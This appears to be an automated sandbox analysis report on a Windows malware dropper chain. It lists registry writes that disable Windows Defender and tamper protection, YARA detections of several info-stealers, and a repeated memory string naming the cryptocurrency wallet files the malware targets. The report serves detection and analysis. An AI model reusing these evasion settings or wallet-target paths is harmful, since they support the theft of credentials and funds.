Source: 9777a59422.exe, 00000011.00000000.2690681196.00000000007D2000.00000002.00000001.01000000.00000010.sdmp, 9777a59422.exe, 00000027.00000000.2840264074.00000000007D2000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: a0a3a50765.exe, 0000000F.00000002.3114843075.000000000104A000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Program Manager
Source: skotes.exe, skotes.exe, 00000002.00000002.1823605043.0000000000FBC000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: mProgram Manager
Source: f5d46eacf9.exe, 0000000E.00000002.3012944754.0000000000BC2000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ^Program Manager
Source: f5d46eacf9.exe, 0000000E.00000002.3051270187.0000000006555000.00000040.00000800.00020000.00000000.sdmp, 796ccdd7ba.exe, 00000026.00000002.2952565248.0000000000F5F000.00000040.00000001.01000000.00000018.sdmp	Binary or memory string: hcMProgram Manager

Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe

Code function: 7_2_6C9D7578 cpuid

7_2_6C9D7578

Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008451001\shellcode.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008451001\shellcode.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe

Code function: 7_2_6C9D6FF3 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

7_2_6C9D6FF3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: aspnet_regiis.exe, aspnet_regiis.exe, 00000009.00000003.2607917960.0000000002A36000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2598137890.0000000002A58000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000002.2608780200.0000000002A36000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2719563708.000000000138F000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2719346624.000000000138A000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2719198434.0000000005B82000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2897121819.0000000001196000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2897351338.00000000011A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: aspnet_regiis.exe, 00000009.00000003.2608012030.0000000002AAD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000002.2608979660.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.dc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.dc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000003.1773574419.0000000004A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1814521786.0000000000DC1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1793363928.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2300189242.0000000005590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1706623549.0000000005330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1783134559.0000000005180000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1823498115.0000000000DC1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 00000011.00000003.2756319957.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9777a59422.exe PID: 5084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9777a59422.exe PID: 5856, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 6976, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f5d46eacf9.exe PID: 1244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f5d46eacf9.exe PID: 2484, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000F.00000002.3109931730.0000000000C71000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2627351987.0000000005490000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2775129715.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3125680756.000000000197E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: a0a3a50765.exe PID: 5292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: a0a3a50765.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0000000F.00000002.3125680756.000000000197E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: a0a3a50765.exe PID: 5292, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: aspnet_regiis.exe, 00000009.00000003.2534580388.0000000002AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: aspnet_regiis.exe, 00000009.00000003.2534580388.0000000002AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D3C000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe	String found in binary or memory: Jaxx Liberty
Source: aspnet_regiis.exe, 00000009.00000003.2534580388.0000000002AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D3C000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: f5d46eacf9.exe, 0000000E.00000003.2606017151.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D3C000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D3C000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D3C000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D3C000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D3C000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 